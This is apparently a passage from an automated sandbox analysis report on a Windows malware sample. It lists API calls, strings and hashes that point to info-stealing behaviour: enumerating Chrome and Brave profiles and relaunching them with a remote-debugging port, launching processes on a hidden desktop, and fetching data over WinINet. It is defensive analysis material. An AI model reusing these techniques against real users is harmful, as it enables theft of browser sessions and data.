GetProcAddress.KERNEL32(6F4E0000,008A61B0), ref: 0041A8B9
GetProcAddress.KERNEL32(6F4E0000,008A6150), ref: 0041A8D2
GetProcAddress.KERNEL32(6F4E0000,008A64F0), ref: 0041A8EA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(75AE0000,008B0690), ref: 0041A939
GetProcAddress.KERNEL32(75AE0000,008A9110), ref: 0041A951
GetProcAddress.KERNEL32(75AE0000,008B0708), ref: 0041A969
GetProcAddress.KERNEL32(75AE0000,008B0738), ref: 0041A982
GetProcAddress.KERNEL32(76300000,008A61D0), ref: 0041A9A3
GetProcAddress.KERNEL32(6D5A0000,008B0750), ref: 0041A9C4
GetProcAddress.KERNEL32(6D5A0000,008A6310), ref: 0041A9DD
GetProcAddress.KERNEL32(6D5A0000,008B06A8), ref: 0041A9F5
GetProcAddress.KERNEL32(6D5A0000,008B07C8), ref: 0041AA0D

Strings

1#v, xrefs: 0041A21D
HttpQueryInfoA, xrefs: 0041A90C
P2#v, xrefs: 0041A12A
InternetSetOptionA, xrefs: 0041A8F5

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$P2#v$1#v
API String ID: 2238633743-3014924196
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction ID: 994efd3a0b10ceab7f5143b43c992d696de16e9dedea517f3aaaefbefb2e1973
Opcode Fuzzy Hash: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction Fuzzy Hash: F0413F79740624ABD7109FE5FC4DADCBF70AB4C702BA08061F90A99190C7F993859B7D

Function 0040BE40 Relevance: 67.2, APIs: 29, Strings: 9, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

1#v, xrefs: 0040BEC5
Brave, xrefs: 0040C0E8
Google Chrome, xrefs: 0040C6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534
P2#v, xrefs: 0040C8A9
\Brave\Preferences, xrefs: 0040C1C1
Preferences, xrefs: 0040C104
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-16310280
Opcode ID: da2093ae168928efdcddb94b396d6eafd72defdd36d87ea4ca25341fb39243f0
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: da2093ae168928efdcddb94b396d6eafd72defdd36d87ea4ca25341fb39243f0
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,008ACD80,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405051, 00405134
+aA, xrefs: 00405105, 0040508D, 00405090, 00405108

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID: +aA$+aA
API String ID: 1008454911-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 0040E530 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
